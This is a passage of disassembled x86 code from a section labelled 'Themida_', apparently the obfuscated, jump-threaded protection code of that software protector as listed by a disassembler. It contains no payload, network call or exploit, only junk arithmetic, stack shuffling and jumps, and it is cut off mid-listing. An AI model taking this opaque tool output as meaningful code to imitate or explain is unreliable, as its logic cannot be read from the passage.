loc_54EA5C ; --------------------------------------------------------------------------- loc_5531F1: ; CODE XREF: Themida_:00556FAEj inc ebx push eax push edx mov edx, 2B126739h neg edx jmp loc_55A092 ; --------------------------------------------------------------------------- loc_553200: ; CODE XREF: Themida_:0055799Cj push edx push eax push edx jmp loc_555B8F ; --------------------------------------------------------------------------- loc_553208: ; CODE XREF: Themida_:0055A625j xor ebx, 61042387h shl ebx, 7 sub ebx, 29C4327Dh jmp loc_551739 ; --------------------------------------------------------------------------- loc_55321C: ; CODE XREF: Themida_:0055AE00j mov al, 30h mov bl, al pop eax add al, 9Fh sub al, bl sub al, 9Fh push dword ptr [esp] pop ebx push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp jmp loc_550439 ; --------------------------------------------------------------------------- loc_55323B: ; CODE XREF: Themida_:00550CE9j xor dl, 0C5h xchg bh, dl not bh xchg bh, dl not dl xchg bh, dl not bh xchg bh, dl jmp loc_54FDB8 ; --------------------------------------------------------------------------- loc_553251: ; CODE XREF: Themida_:0055AD49j push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp xor bl, al movzx eax, al push esi push esp jmp loc_5568C2 ; --------------------------------------------------------------------------- loc_553266: ; CODE XREF: Themida_:00554BE2j push edx mov edx, esp jmp loc_54F0BF ; --------------------------------------------------------------------------- loc_55326E: ; CODE XREF: Themida_:00553878j shr ecx, 8 and ecx, 339470FEh or ecx, 317B71EDh jmp loc_55151F ; --------------------------------------------------------------------------- loc_553282: ; CODE XREF: Themida_:0054F702j pop edi push ebp mov ebp, 588E624Bh add esi, ebp pop ebp jmp loc_55AE72 ; --------------------------------------------------------------------------- loc_553291: ; CODE XREF: Themida_:00559DE7j push edi mov edi, 56243B76h xor edi, 4FD360CDh push ebp push edx mov edx, 103E7333h jmp loc_54ECFF ; --------------------------------------------------------------------------- loc_5532A9: ; CODE XREF: Themida_:005574F1j shl ebp, 5 neg ebp add ebp, 50F0088Fh mov eax, ebp pop ebp add eax, 4468BBEFh sub ecx, eax mov eax, [esp] add esp, 4 push esi jmp loc_553949 ; --------------------------------------------------------------------------- loc_5532CD: ; CODE XREF: Themida_:00551DC4j pop ebp mov eax, edi pop edi jmp loc_5587CC ; --------------------------------------------------------------------------- loc_5532D6: ; CODE XREF: Themida_:00554186j add edi, esi add edi, 4B741ADBh pop esi push ebp jmp loc_555448 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5532F4: ; CODE XREF: Themida_:00557B8Fj add esp, 4 push eax mov eax, 4 push ecx mov ecx, 75496B84h add ebx, ecx jmp loc_551A5E ; --------------------------------------------------------------------------- loc_55330D: ; CODE XREF: Themida_:005572A7j add dword ptr [esp], 4 pop esi sub esp, 4 jmp loc_553A40 ; --------------------------------------------------------------------------- loc_55331A: ; CODE XREF: Themida_:0055708Dj push ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_558376 ; --------------------------------------------------------------------------- loc_553328: ; CODE XREF: Themida_:00557EE9j sub eax, 21E457DEh inc eax add eax, 58C885F5h or edx, eax pop eax shl edx, 3 xor edx, 0DFFB24DCh add esi, edx pop edx jmp loc_556F4F ; --------------------------------------------------------------------------- loc_553347: ; CODE XREF: Themida_:0055A442j push edx mov edx, 4 sub ecx, 5941238Ah add ecx, edx add ecx, 5941238Ah pop edx jmp loc_556BD0 ; --------------------------------------------------------------------------- loc_553361: ; CODE XREF: Themida_:00557CB7j sub ch, 0DEh add bl, ch pop ecx jmp loc_554901 ; --------------------------------------------------------------------------- loc_55336C: ; CODE XREF: Themida_:005597AEj pop edx add ebx, eax pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_559A77 ; --------------------------------------------------------------------------- loc_55337E: ; CODE XREF: Themida_:005583CCj mov ecx, 5B1D2E56h and ecx, 3D8A1C5Fh dec ecx sub esp, 4 mov [esp], esi mov esi, 44432FF6h xor ecx, esi mov esi, [esp] add esp, 4 xor ecx, 5D4B23A7h add esi, ecx pop ecx push ecx mov ecx, 4 jmp loc_55AD1A ; --------------------------------------------------------------------------- loc_5533B4: ; CODE XREF: Themida_:00551767j pop esi jmp loc_5585F8 ; --------------------------------------------------------------------------- loc_5533BA: ; CODE XREF: Themida_:00554782j add edx, edi pop edi jmp loc_557A06 ; --------------------------------------------------------------------------- loc_5533C2: ; CODE XREF: Themida_:0054F7D2j add bh, 7 jmp loc_550088 ; --------------------------------------------------------------------------- loc_5533CA: ; CODE XREF: Themida_:00550683j mov [esp], ecx mov ch, 60h jmp loc_5533E2 ; --------------------------------------------------------------------------- loc_5533D4: ; CODE XREF: Themida_:0054EB62j pop eax sub al, 0D1h sub esp, 4 mov [esp], ebx jmp loc_559EE9 ; --------------------------------------------------------------------------- loc_5533E2: ; CODE XREF: Themida_:005533CFj sub al, ch pop ecx jmp loc_5547F6 ; --------------------------------------------------------------------------- loc_5533EA: ; CODE XREF: Themida_:00554D48j add ecx, esi pop esi jmp loc_55AAD9 ; --------------------------------------------------------------------------- loc_5533F2: ; CODE XREF: Themida_:00557D5Dj pop esp sub [edi+24h], eax push dword ptr [esp] pop eax add esp, 4 loc_553400: ; CODE XREF: Themida_:005548EFj push 6652h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp jmp loc_55ADA0 ; --------------------------------------------------------------------------- loc_553417: ; CODE XREF: Themida_:00557282j pop esi push ecx mov ecx, 4 add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push dword ptr [esp] mov eax, [esp] jmp loc_554B76 ; --------------------------------------------------------------------------- loc_553436: ; CODE XREF: Themida_:0055151Aj push ebp jmp loc_5509D1 ; --------------------------------------------------------------------------- loc_55343C: ; CODE XREF: Themida_:005503D6j or eax, eax jz loc_553D6A push 5BABh mov [esp], ebp push 0FEh pop ebp and [edi+1Ch], ebp mov ebp, [esp] push ebx sub esp, 4 jmp loc_55A03C ; --------------------------------------------------------------------------- loc_553461: ; CODE XREF: Themida_:00554467j xor [esp], edx jmp loc_55575C ; --------------------------------------------------------------------------- loc_553469: ; CODE XREF: Themida_:0055861Bj push ebp push esp pop ebp add ebp, 4 jmp loc_555508 ; --------------------------------------------------------------------------- loc_553477: ; CODE XREF: Themida_:00558B97j and esi, edx pop edx neg esi sub esi, 0EA9D1720h xor eax, esi mov esi, [esp] push ebp jmp loc_55A348 ; --------------------------------------------------------------------------- loc_55348D: ; CODE XREF: Themida_:00552559j pop ebx add [esp+4], esi add dword ptr [esp+4], 1CAB4526h jmp loc_553D2C ; --------------------------------------------------------------------------- mov cx, [esp] push 6E9Fh mov [esp], esi mov esi, esp push ebx mov ebx, 2CC2ABDh push edx jmp loc_551FCF ; --------------------------------------------------------------------------- loc_5534B9: ; CODE XREF: Themida_:00554CC0j push 4 pop ebx add [esp+4], ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 push edi jmp loc_54F6E5 ; --------------------------------------------------------------------------- loc_5534D5: ; CODE XREF: Themida_:0054F018j sub edi, 57A728DCh push edx push edi sub dword ptr [esp], 3D723A0Ch pop edx add edx, 3D723A0Ch sub esp, 4 mov [esp], edx pop eax pop edx mov edi, [esp] jmp loc_550D40 ; --------------------------------------------------------------------------- loc_5534FB: ; CODE XREF: Themida_:005536DDj push 12F2h jmp loc_553197 ; --------------------------------------------------------------------------- loc_553505: ; CODE XREF: Themida_:00551027j mov ecx, 7F186BDAh sub esi, ecx pop ecx jmp loc_55A632 ; --------------------------------------------------------------------------- loc_553512: ; CODE XREF: Themida_:0055245Ej add ebp, 962996h add edi, 352F7532h add edi, ebp sub edi, 352F7532h pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55907B ; --------------------------------------------------------------------------- loc_553535: ; CODE XREF: Themida_:00551662j pop edx add eax, 1 add eax, 1 jmp loc_556D6E ; --------------------------------------------------------------------------- loc_553543: ; CODE XREF: Themida_:00552931j pop ecx sub eax, ecx jmp loc_55176C ; --------------------------------------------------------------------------- loc_55354B: ; CODE XREF: Themida_:0054FE37j push esp pop ecx push eax mov eax, 7139742Bh push ebp mov ebp, 52B4458Fh add ebp, 3A746BDCh jmp loc_553865 ; --------------------------------------------------------------------------- loc_553564: ; CODE XREF: Themida_:005572F5j jmp loc_55AE10 ; --------------------------------------------------------------------------- loc_553569: ; CODE XREF: Themida_:00555212j pop esp jmp loc_5522A9 ; --------------------------------------------------------------------------- loc_55356F: ; CODE XREF: Themida_:00557975j pop esp jmp loc_54FA11 ; --------------------------------------------------------------------------- loc_553575: ; CODE XREF: Themida_:00551248j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55357A: ; CODE XREF: Themida_:0054F89Fj mov cl, 0FFh jmp loc_553C47 ; --------------------------------------------------------------------------- loc_553581: ; CODE XREF: Themida_:00557D25j push dword ptr [esp] jmp loc_552B73 ; --------------------------------------------------------------------------- loc_553589: ; CODE XREF: Themida_:00557D9Bj mov ebp, [esp] add esp, 4 push ecx push ebx mov ebx, 7AA15E7Bh jmp loc_556E8E ; --------------------------------------------------------------------------- loc_55359B: ; CODE XREF: Themida_:00555C00j push dword ptr [esp] mov edi, [esp] add esp, 4 push edi push esp jmp loc_55A6D6 ; --------------------------------------------------------------------------- loc_5535AB: ; CODE XREF: Themida_:0055013Ej pop dx push small 78A9h mov [esp], dx jmp loc_55754A ; --------------------------------------------------------------------------- loc_5535BA: ; CODE XREF: Themida_:0055374Cj pop eax pop ebx sub bl, 0C4h jmp loc_55619E ; --------------------------------------------------------------------------- loc_5535C4: ; CODE XREF: Themida_:0054EAA6j xor ebp, ecx pop ecx not ebp xor ebp, 8D79E3E1h xor edx, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55A24C ; --------------------------------------------------------------------------- loc_5535E8: ; CODE XREF: Themida_:005587F5j push ebx push 292921D7h jmp loc_559EF0 ; --------------------------------------------------------------------------- loc_5535F3: ; CODE XREF: Themida_:00555D6Dj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax jmp loc_5510B4 ; --------------------------------------------------------------------------- loc_553608: ; CODE XREF: Themida_:0054FD99j mov [esp], edx mov edx, 4 add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] jmp loc_5531B5 ; --------------------------------------------------------------------------- loc_55361E: ; CODE XREF: Themida_:005507ABj mov ch, 44h jmp loc_55A0EE ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp push 6B78h mov [esp], edx mov edx, 4 add ebp, edx pop edx push edi mov edi, 59884229h and edi, 688948DBh sub esp, 4 mov [esp], ebp mov ebp, 7B336B2h or edi, ebp pop ebp sub edi, 2B5268DDh shl edi, 4 jmp loc_5573B1 ; --------------------------------------------------------------------------- loc_553667: ; CODE XREF: Themida_:00553B79j pop ecx pop ecx add ebx, 2 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp xor [esp], al pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55367F: ; CODE XREF: Themida_:005553EDj mov edx, ebx pop ebx push edx mov edx, 191C3DE6h shl edx, 4 xor edx, 69B81AE0h shr edx, 4 jmp loc_55AE05 ; --------------------------------------------------------------------------- loc_553699: ; CODE XREF: Themida_:005573EBj pop ecx sub eax, edx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 push ebx jmp loc_559A40 ; --------------------------------------------------------------------------- loc_5536AE: ; CODE XREF: Themida_:00552150j sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], esi jmp loc_54ED94 ; --------------------------------------------------------------------------- loc_5536C2: ; CODE XREF: Themida_:0055246Aj push 6B4Dh jmp loc_55730E ; --------------------------------------------------------------------------- loc_5536CC: ; CODE XREF: Themida_:0054F1B8j mov esi, 4 add edx, esi pop esi jmp loc_558A22 ; --------------------------------------------------------------------------- loc_5536D9: ; CODE XREF: Themida_:005505B1j or edx, eax shl edx, 1 jmp loc_5534FB ; --------------------------------------------------------------------------- loc_5536E2: ; CODE XREF: Themida_:005546EAj push dword ptr [esp] jmp loc_557429 ; --------------------------------------------------------------------------- loc_5536EA: ; CODE XREF: Themida_:00557748j push esi mov esi, 2CFF6DFEh push ecx mov ecx, 4BDE1C76h add esi, 2BF039F3h sub esi, ecx sub esi, 2BF039F3h pop ecx not esi sub esi, 714D29B3h jmp loc_55417A ; --------------------------------------------------------------------------- loc_553712: ; CODE XREF: Themida_:0054FA3Cj mov ebx, 42CE7652h xor ebx, 5C0D6384h add ebx, 5FA9537Fh sub esp, 4 jmp loc_552E47 ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp sub esp, 4 mov [esp], edx jmp loc_5519AD ; --------------------------------------------------------------------------- loc_55373D: ; CODE XREF: Themida_:0055B14Bj mov [esp], edx jmp loc_55A8E1 ; --------------------------------------------------------------------------- loc_553745: ; CODE XREF: Themida_:00559C91j mov bh, 3Dh push eax mov ah, bh mov dh, ah jmp loc_5535BA ; --------------------------------------------------------------------------- loc_553751: ; CODE XREF: Themida_:00558F75j pop edi jmp loc_551040 ; --------------------------------------------------------------------------- loc_553757: ; CODE XREF: Themida_:00552B62j mov bh, 0E7h jmp loc_55768F ; --------------------------------------------------------------------------- loc_55375E: ; CODE XREF: Themida_:0054EDD9j mov ebx, 5B0E3AAFh mov edx, ebx pop ebx inc edx dec edx xor edx, 6C4E0630h push 274Dh mov [esp], ebp mov ebp, 5DAE5520h neg ebp push eax push 0DC22A5B1h pop eax xor ebp, eax jmp loc_550278 ; --------------------------------------------------------------------------- loc_55378B: ; CODE XREF: Themida_:005501DDj add esi, 4 jmp loc_557027 ; --------------------------------------------------------------------------- loc_553793: ; CODE XREF: Themida_:00550206j mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp] pop esp add bl, al push ax push ecx mov ch, 95h add ch, 0F3h mov ah, ch pop ecx add bl, ah mov ax, [esp] push 6D6Ah mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp] mov esp, [esp] movzx eax, al jmp loc_54EE34 ; --------------------------------------------------------------------------- loc_5537DC: ; CODE XREF: Themida_:0055278Aj xor edi, 62F72BABh mov ebp, edi pop edi shl ebp, 6 add ebp, 573D0C7Dh xor ebp, 0B0432E77h jmp loc_559187 ; --------------------------------------------------------------------------- loc_5537F9: ; CODE XREF: Themida_:00552337j mov [esp], eax push esp mov eax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_559B48 ; --------------------------------------------------------------------------- loc_553812: ; CODE XREF: Themida_:00557B40j push ecx jmp loc_556A1C ; --------------------------------------------------------------------------- loc_553818: ; CODE XREF: Themida_:0055268Dj push ebx mov ebx, 40000h push ebx sub dword ptr [esp], 1D1D5DC5h jmp loc_55795F ; --------------------------------------------------------------------------- loc_55382B: ; CODE XREF: Themida_:00551A4Dj push ebp push 67D9771Ah pop ebp xor ebp, 21602613h xor ebp, 46B9510Dh mov esi, ebp pop ebp add edx, esi pop esi xchg edx, [esp] jmp loc_555A13 ; --------------------------------------------------------------------------- loc_55384C: ; CODE XREF: Themida_:005521B7j mov ah, ch mov ecx, [esp] add esp, 4 xor ch, ah pop eax sub ch, 86h sub ch, 2Ch jmp loc_55A363 ; --------------------------------------------------------------------------- loc_553865: ; CODE XREF: Themida_:0055355Fj shr ebp, 5 jmp loc_55A04D ; --------------------------------------------------------------------------- loc_55386D: ; CODE XREF: Themida_:005552F6j mov ecx, 5F6328E9h xor ecx, 6F722636h jmp loc_55326E ; --------------------------------------------------------------------------- loc_55387D: ; CODE XREF: Themida_:00550009j sub ch, 80h and ch, 0B2h add ch, 0CDh add ch, 0BFh jmp loc_559E28 ; --------------------------------------------------------------------------- loc_55388E: ; CODE XREF: Themida_:00551B66j xor ebx, 6D61211Eh neg ebx add ebx, 56046D50h jmp loc_55B0C9 ; --------------------------------------------------------------------------- loc_5538A1: ; CODE XREF: Themida_:00558EB6j mov [esp], ebx sub esp, 4 mov [esp], ecx push ebp push 7CDFh mov [esp], edx mov edx, 7A535EDFh mov ebp, 58D81560h jmp loc_558DB7 ; --------------------------------------------------------------------------- loc_5538C5: ; CODE XREF: Themida_:0055A24Fj pop esp sub edx, 5A3030F7h push ebx mov ebx, 159E597Bh shr ebx, 1 or ebx, 7D48165Eh xor ebx, 49133FD8h sub edx, ebx pop ebx and eax, edx pop edx jmp loc_551C2F ; --------------------------------------------------------------------------- loc_5538EB: ; CODE XREF: Themida_:0055209Ej mov edi, 681E42D6h or edi, 0A5F3FE0h xor edi, 32B85E9Ch add ebp, edi pop edi sub ebp, eax sub ebp, 58E7216Ah pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx push eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55391C: ; CODE XREF: Themida_:00558634j add esi, ecx pop ecx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_553936: ; CODE XREF: Themida_:0054F3D3j mov ebx, eax jmp loc_551ECA ; --------------------------------------------------------------------------- loc_55393D: ; CODE XREF: Themida_:00551261j pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_557673 ; --------------------------------------------------------------------------- loc_553949: ; CODE XREF: Themida_:005532C8j mov esi, 68F927B2h sub esi, 0BE4427Ah xor esi, 2CBF2FE3h xor esi, 344EAF8Bh sub ecx, esi pop esi jmp loc_552C6C ; --------------------------------------------------------------------------- loc_553968: ; CODE XREF: Themida_:00555B1Ej push ecx mov cl, 0B4h sub cl, 5Ch jmp loc_553B6B ; --------------------------------------------------------------------------- loc_553973: ; CODE XREF: Themida_:00559DA9j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_552833 ; --------------------------------------------------------------------------- loc_553984: ; CODE XREF: Themida_:0054EEDCj push 4 pop edi push eax jmp loc_55487E ; --------------------------------------------------------------------------- loc_553990: ; CODE XREF: Themida_:0055A72Fj pop ebp add ebp, 4 add ebp, 4 jmp loc_5507BC ; --------------------------------------------------------------------------- loc_5539A2: ; CODE XREF: Themida_:005526CDj xor edx, 24C84C36h jmp loc_557460 ; --------------------------------------------------------------------------- loc_5539AD: ; CODE XREF: Themida_:00554A7Bj xchg eax, [esp] pop esp jmp loc_5577A3 ; --------------------------------------------------------------------------- loc_5539B6: ; CODE XREF: Themida_:00550104j and ebp, eax pop eax dec ebp sub ebp, 51882FFEh add edi, ebp jmp loc_559B8B ; --------------------------------------------------------------------------- loc_5539C7: ; CODE XREF: Themida_:00559019j add ebx, 4 sub esp, 4 mov [esp], edi push eax mov eax, 6ED08C8h push eax pop edi pop eax or edi, 4E8E274Fh inc edi push esi mov esi, 32AA1D18h jmp loc_552EBA ; --------------------------------------------------------------------------- loc_5539EE: ; CODE XREF: Themida_:00558A7Bj sub ecx, 4FDB6294h shl ecx, 7 shr ecx, 5 shr ecx, 3 add ecx, 518C7AFh and edi, ecx pop ecx sub edi, 0C1230F25h jmp loc_5505E2 ; --------------------------------------------------------------------------- loc_553A11: ; CODE XREF: Themida_:00553D76j pop eax xor dh, bl pop ebx sub al, dh mov edx, [esp] jmp loc_557EAA ; --------------------------------------------------------------------------- loc_553A1F: ; CODE XREF: Themida_:0054ED7Bj xor edx, 57F0AAC5h add esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp idiv cl movzx cx, ah push edi push esp pop edi jmp loc_554D82 ; --------------------------------------------------------------------------- loc_553A40: ; CODE XREF: Themida_:00553315j mov [esp], eax mov eax, 38694030h jmp loc_5522C5 ; --------------------------------------------------------------------------- loc_553A4D: ; CODE XREF: Themida_:0055085Ej xor ebx, [esp] jmp loc_554654 ; --------------------------------------------------------------------------- loc_553A55: ; CODE XREF: Themida_:00552753j mov [esp], edx jmp loc_55B1E7 ; --------------------------------------------------------------------------- loc_553A5D: ; CODE XREF: Themida_:00559618j shl eax, 1 neg eax add eax, 1FBE2D84h add ebx, eax jmp loc_556A81 ; --------------------------------------------------------------------------- loc_553A6D: ; CODE XREF: Themida_:005561BCj mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_55426E ; --------------------------------------------------------------------------- loc_553A7A: ; CODE XREF: Themida_:0055A9E7j sub edx, edi pop edi mov ecx, [edx] pop edx push 3866h mov [esp], ebx push esp jmp loc_55B106 ; --------------------------------------------------------------------------- loc_553A8E: ; CODE XREF: Themida_:0054F1A3j mov esi, 5A684125h sub esi, 5A684121h add ecx, esi jmp loc_559F1C ; --------------------------------------------------------------------------- loc_553AA0: ; CODE XREF: Themida_:00558503j mov eax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push 13E9h mov [esp], esp add dword ptr [esp], 4 pop ebx push 4D34h mov [esp], edi mov edi, 55DC0104h inc edi or edi, 26DB1A61h jmp loc_5554B1 ; --------------------------------------------------------------------------- loc_553ADD: ; CODE XREF: Themida_:005570E3j add ebx, 0DF03C22Dh mov esi, ebx pop ebx push ebp mov ebp, 1DF24C0Eh and ebp, 1D8C467Dh jmp loc_554CD4 ; --------------------------------------------------------------------------- loc_553AF7: ; CODE XREF: Themida_:00557248j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_553AFC: ; CODE XREF: Themida_:0055679Aj mov eax, 782E1DE1h sub [esp+4], eax pop eax jmp loc_559856 ; --------------------------------------------------------------------------- loc_553B0B: ; CODE XREF: Themida_:0055036Fj add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_55401C ; --------------------------------------------------------------------------- loc_553B1F: ; CODE XREF: Themida_:00558E62j add ebx, ebp add ebx, 465218C6h pop ebp add ebx, eax sub ebx, 75DE2242h pop eax push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55AACD ; --------------------------------------------------------------------------- loc_553B47: ; CODE XREF: Themida_:00556AA4j sub ebx, esi jmp loc_55546A ; --------------------------------------------------------------------------- loc_553B4E: ; CODE XREF: Themida_:00556723j xor ecx, [esp] pop esp or [esp], eax pushf jmp loc_5517FB ; --------------------------------------------------------------------------- loc_553B5B: ; CODE XREF: Themida_:00559490j sub eax, 1 xor eax, 740C507Dh push ecx jmp loc_557B2D ; --------------------------------------------------------------------------- loc_553B6B: ; CODE XREF: Themida_:0055396Ej mov bl, cl jmp loc_54FB3B ; --------------------------------------------------------------------------- loc_553B72: ; CODE XREF: Themida_:00556781j mov ecx, 85251FCh add ebx, ecx jmp loc_553667 ; --------------------------------------------------------------------------- loc_553B7E: ; CODE XREF: Themida_:00553D81j or edi, ebp pop ebp add edi, 1 shl edi, 6 add edi, 284B3B60h sub edi, 0B12CD203h jmp loc_54ECA3 ; --------------------------------------------------------------------------- loc_553B9B: ; CODE XREF: Themida_:00557F21j sub eax, 58BB44EFh jmp loc_550FD3 ; --------------------------------------------------------------------------- loc_553BA5: ; CODE XREF: Themida_:00555D90j sub edx, 65943665h jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_553BB0: ; CODE XREF: Themida_:005599BBj add edx, 4 push edi push ebx mov ebx, 4 jmp loc_554772 ; --------------------------------------------------------------------------- loc_553BC2: ; CODE XREF: Themida_:005508D6j pop ecx push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 jmp loc_5542E3 ; --------------------------------------------------------------------------- loc_553BD5: ; CODE XREF: Themida_:00554362j add eax, ecx pop ecx push edi jmp loc_54FB05 ; --------------------------------------------------------------------------- loc_553BDE: ; CODE XREF: Themida_:005580DDj push esi sub dword ptr [esp], 403966CAh mov edx, [esp] add esp, 4 add edx, 403966CAh jmp loc_55A0D2 ; --------------------------------------------------------------------------- loc_553BFA: ; CODE XREF: Themida_:00559F34j sub edi, 2AC6235h sub edi, 5876237Dh add edi, ebp add edi, 5876237Dh add edi, 2AC6235h pop ebp jmp loc_554DFE ; --------------------------------------------------------------------------- loc_553C1A: ; CODE XREF: Themida_:00556A7Cj xor ah, [esp] xor [esp], ah xor ah, ch xor ch, ah jmp loc_551F22 ; --------------------------------------------------------------------------- loc_553C29: ; CODE XREF: Themida_:00554997j mov edx, 1AE36D1Bh xor edx, 11B60EC4h sub edx, 0DB2B373Ah sub ecx, edx pop edx add ebx, ecx mov ecx, [esp] jmp loc_5553F2 ; --------------------------------------------------------------------------- loc_553C47: ; CODE XREF: Themida_:0055357Cj push eax mov ah, cl mov dh, ah pop eax pop ecx sub al, dh pop edx jmp loc_550D96 ; --------------------------------------------------------------------------- loc_553C56: ; CODE XREF: Themida_:00559BA5j add edi, esi pop esi add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] movzx cx, al push 78CFh jmp loc_559014 ; --------------------------------------------------------------------------- loc_553C79: ; CODE XREF: Themida_:005509CCj xchg edi, [esp] pop esp and [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_553C87: ; CODE XREF: Themida_:00553062j add ebx, 4 jmp loc_552A26 ; --------------------------------------------------------------------------- loc_553C8F: ; CODE XREF: Themida_:00553F47j mov ebx, 0 add ebx, ecx xor [ebx], edi pop ebx pop ecx mov edi, [esp] add esp, 4 loc_553CA3: ; CODE XREF: Themida_:0055286Dj push 467Ah mov [esp], ebx push 6021h mov [esp], eax mov eax, 8797351h xor eax, 4D4A2520h push eax jmp loc_558679 ; --------------------------------------------------------------------------- loc_553CC3: ; CODE XREF: Themida_:0054F03Cj push 73FBh mov [esp], edi mov edi, 4CB92909h inc edi jmp loc_5567B9 ; --------------------------------------------------------------------------- loc_553CD6: ; CODE XREF: Themida_:00556F41j not ebx jmp loc_54F9EF ; --------------------------------------------------------------------------- loc_553CDD: ; CODE XREF: Themida_:0055A190j add al, dh pop edx add al, 70h mov bl, al mov eax, [esp] jmp loc_557A11 ; --------------------------------------------------------------------------- loc_553CEC: ; CODE XREF: Themida_:00557827j mov [esp], ebp mov ebp, 2EB97C35h dec ebp sub ebp, 77203EEDh sub edx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_5592F8 ; --------------------------------------------------------------------------- loc_553D09: ; CODE XREF: Themida_:00551684j sub esp, 4 mov [esp], ebp jmp loc_55A4D0 ; --------------------------------------------------------------------------- loc_553D14: ; CODE XREF: Themida_:005582B1j mov ebp, 0F7B11D29h add esi, ebp pop ebp xor eax, esi jmp loc_554A41 ; --------------------------------------------------------------------------- loc_553D23: ; CODE XREF: Themida_:00554AF1j xor dh, 0B9h push eax jmp loc_54F629 ; --------------------------------------------------------------------------- loc_553D2C: ; CODE XREF: Themida_:0055349Aj pop esi jmp loc_54F7A2 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_54F201 ; --------------------------------------------------------------------------- loc_553D3B: ; CODE XREF: Themida_:0055844Fj add ebp, 4 add ebp, 4 jmp loc_5500C4 ; --------------------------------------------------------------------------- loc_553D49: ; CODE XREF: Themida_:0055464Fj mov esi, 61BB04A3h xor esi, 56BE16C8h mov ebp, esi pop esi jmp loc_551707 ; --------------------------------------------------------------------------- loc_553D5C: ; CODE XREF: Themida_:00558DA0j neg edi inc edi sub edi, 84180800h jmp loc_559941 ; --------------------------------------------------------------------------- loc_553D6A: ; CODE XREF: Themida_:0055343Ej push 1DDAh jmp loc_55440F ; --------------------------------------------------------------------------- loc_553D74: ; CODE XREF: Themida_:00559CEDj sub bl, ah jmp loc_553A11 ; --------------------------------------------------------------------------- loc_553D7B: ; CODE XREF: Themida_:00556087j add ebp, 480C6246h jmp loc_553B7E ; --------------------------------------------------------------------------- loc_553D86: ; CODE XREF: Themida_:00551D13j pop eax push ebp jmp loc_5593A2 ; --------------------------------------------------------------------------- loc_553D8D: ; CODE XREF: Themida_:00551D36j mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_5556DF ; --------------------------------------------------------------------------- loc_553DAE: ; CODE XREF: Themida_:005512FFj mov bl, 4Bh sub bl, 4Eh sub bl, 0E2h push 0 sub [esp], bl jmp loc_556F46 ; --------------------------------------------------------------------------- loc_553DC3: ; CODE XREF: Themida_:0055846Aj xor eax, 8DC46E3Bh jmp loc_556A8B ; --------------------------------------------------------------------------- lodsd add eax, 2F47684Dh push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_558D21 ; --------------------------------------------------------------------------- loc_553DE4: ; CODE XREF: Themida_:00551B45j xor [esp], ebx jmp loc_55A84C ; --------------------------------------------------------------------------- loc_553DEC: ; CODE XREF: Themida_:0055760Ej sub eax, 4CD5E88h dec eax add eax, 2D75F3DBh sub edx, eax pop eax add eax, edx mov edx, [esp] add esp, 4 sub eax, ebx sub eax, 356347E1h add eax, 5CF93239h jmp loc_55A5B8 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_553E1B: ; CODE XREF: Themida_:0054F5D6j pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_553E21: ; CODE XREF: Themida_:00552562j push edx mov edx, 258B30E1h xor ebp, edx jmp loc_558991 ; --------------------------------------------------------------------------- loc_553E2E: ; CODE XREF: Themida_:005505A6j sub bh, al add bh, 0BFh pop ax add al, 0Fh jmp loc_554BF2 ; --------------------------------------------------------------------------- loc_553E3C: ; CODE XREF: Themida_:00559E5Dj push esi mov esi, 564C3717h shr esi, 8 xor esi, 3C03741Dh jmp loc_554D42 ; --------------------------------------------------------------------------- loc_553E50: ; CODE XREF: Themida_:0055698Ej sub edi, esi jmp loc_552EE2 ; --------------------------------------------------------------------------- loc_553E57: ; CODE XREF: Themida_:0055537Cj add ecx, edx pop edx shr ecx, 2 inc ecx push edx mov edx, 0E5C52B8Ch jmp loc_55538F ; --------------------------------------------------------------------------- loc_553E69: ; 